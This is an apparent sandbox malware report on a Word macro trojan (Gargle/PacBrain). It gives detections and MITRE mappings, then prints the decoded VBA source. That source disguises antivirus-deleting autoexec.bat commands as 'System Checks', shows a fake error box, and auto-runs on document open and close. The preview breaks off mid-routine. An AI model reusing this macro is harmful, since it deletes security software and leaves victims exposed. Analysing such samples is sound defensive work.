MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1490 Inhibit System Recovery
The sample contains a VBA macro that executes upon opening the document, as indicated by the 'Document_Open' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics. This macro attempts to display a fake printer error message to the user and then proceeds to write commands to 'c:\autoexec.bat' that delete files associated with Norton and AVP antivirus software. This behavior suggests an attempt to disable or interfere with security software, likely as a precursor to further malicious activity.
Heuristics 4
-
ClamAV: Doc.Trojan.PacBrain-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.PacBrain-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 50109 bytes |
SHA-256: 2140977a41e527f37f7430e41f40c3d378d024430e445d2925457518ec6c6d98 |
|||
|
Detection
ClamAV:
Doc.Trojan.Gargle-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub FilePrintPreview()
Randomize
abcd$ = Chr(85) & Chr(110) & Chr(101) & Chr(120) & Chr(112) & Chr(101) & Chr(99) & Chr(116) & Chr(101) & Chr(100) & Chr(47) & Chr(85) & Chr(110) & Chr(100) & Chr(101) & Chr(102) & Chr(105) & Chr(110) & Chr(101) & Chr(100) & Chr(32) & Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(97) & Chr(116) & Chr(32) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(101) & Chr(115) & Chr(115) & Chr(32)
t = "{00" & Int(Rnd * 999999) & ":" & Int(Rnd * 99999) & "}"
MsgBox abcd$ & t, vbCritical
End Sub
Private Sub Retro()
On Error Resume Next
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo off"
Print #1, "echo ************"
Print #1, "echo ** GarGle **"
Print #1, "echo ************"
'norton
Print #1, "echo [Norton System Check]"
Print #1, "del c:\progra~1\norton~1\*.exe"
Print #1, "del c:\progra~1\norton~1\*.dll"
Print #1, "del c:\progra~1\norton~1\*.dat"
Print #1, "del c:\progra~1\norton~1\*.vxd"
Print #1, "del c:\norton~1\*.exe"
Print #1, "del c:\norton~1\*.dll"
Print #1, "del c:\norton~1\*.dat"
Print #1, "del c:\norton~1\*.vxd"
Print #1, "echo."
'avp
Print #1, "echo [AVP System Check]"
Print #1, "del c:\progra~1\antiv~1\*.avc "
Print #1, "del c:\progra~1\antiv~1\*.set "
Print #1, "del c:\progra~1\antiv~1\*.dll "
Print #1, "del c:\progra~1\antiv~1\*.vxd "
Print #1, "del c:\progra~1\antiv~1\*.exe "
Print #1, "del c:\antiv~1\*.avc "
Print #1, "del c:\antiv~1\*.set "
Print #1, "del c:\antiv~1\*.dll "
Print #1, "del c:\antiv~1\*.vxd "
Print #1, "del c:\antiv~1\*.exe "
Print #1, "echo."
'mcafee
Print #1, "echo [McAfee System Check]"
'just in case its not where its supposed to be :)
Print #1, "del c:\progra~1\mcafee~1\*.dat "
Print #1, "del c:\progra~1\mcafee~1\*.dll "
Print #1, "del c:\progra~1\mcafee~1\*.exe "
Print #1, "del c:\progra~1\mcafee~1\*.vsc "
Print #1, "del c:\progra~1\mcafee\*.dat "
Print #1, "del c:\progra~1\mcafee\*.dll "
Print #1, "del c:\progra~1\mcafee\*.exe "
Print #1, "del c:\progra~1\mcafee\*.vsc "
Print #1, "del c:\mcafee~1\*.dat"
Print #1, "del c:\mcafee~1\*.dll"
Print #1, "del c:\mcafee~1\*.exe"
Print #1, "del c:\mcafee~1\*.vsc"
Print #1, "del c:\mcafee\*.dat"
Print #1, "del c:\mcafee\*.dll"
Print #1, "del c:\mcafee\*.exe"
Print #1, "del c:\mcafee\*.vsc"
Print #1, "echo."
'F-prot
'not widely used in the US, but hey :)
Print #1, "[F-Prot System Check]"
Print #1, "del c:\progra~1\fsi\f-prot\*.exe"
Print #1, "del c:\progra~1\fsi\f-prot\*.dll"
Print #1, "del c:\progra~1\fsi\f-prot\*.vxd"
Print #1, "del c:\progra~1\fsi\f-prot\*.rep"
' just in case
Print #1, "del c:\progra~1\f-prot\*.exe"
Print #1, "del c:\progra~1\f-prot\*.dll"
Print #1, "del c:\progra~1\f-prot\*.vxd"
Print #1, "del c:\progra~1\f-prot\*.rep"
Print #1, "del c:\f-prot\*.exe"
Print #1, "del c:\f-prot\*.dll"
Print #1, "del c:\f-prot\*.vxd"
Print #1, "del c:\f-prot\*.rep"
Print #1, "del c:\fsi\f-prot\*.exe"
Print #1, "del c:\fsi\f-prot\*.dll"
Print #1, "del c:\fsi\f-prot\*.vxd"
Print #1, "del c:\fsi\f-prot\*.rep"
Print #1, "echo."
Print #1, "echo All System Checks have been completed."
Close #1
End Sub
Private Sub ViewVBCode()
Randomize
abcd$ = Chr(85) & Chr(110) & Chr(101) & Chr(120) & Chr(112) & Chr(101) & Chr(99) & Chr(116) & Chr(101) & Chr(100) & Chr(47) & Chr(85) & Chr(110) & Chr(100) & Chr(101) & Chr(102) & Chr(105) & Chr(110) & Chr(101) & Chr(100) & Chr(32) & Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(97) & Chr(116) & Chr(32) & Chr(97) & Chr(100) & Chr(100) & Chr(114) & Chr(101) & Chr(115) & Chr(115) & Chr(32)
t = "{00" & Int(Rnd * 999999) & ":" & Int(Rnd * 99999) & "}"
MsgBox abcd$ & t, vbCritical
End Sub
Private Sub Document_Close()
Document_Open
Retro
End Sub
Private Sub Documen
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.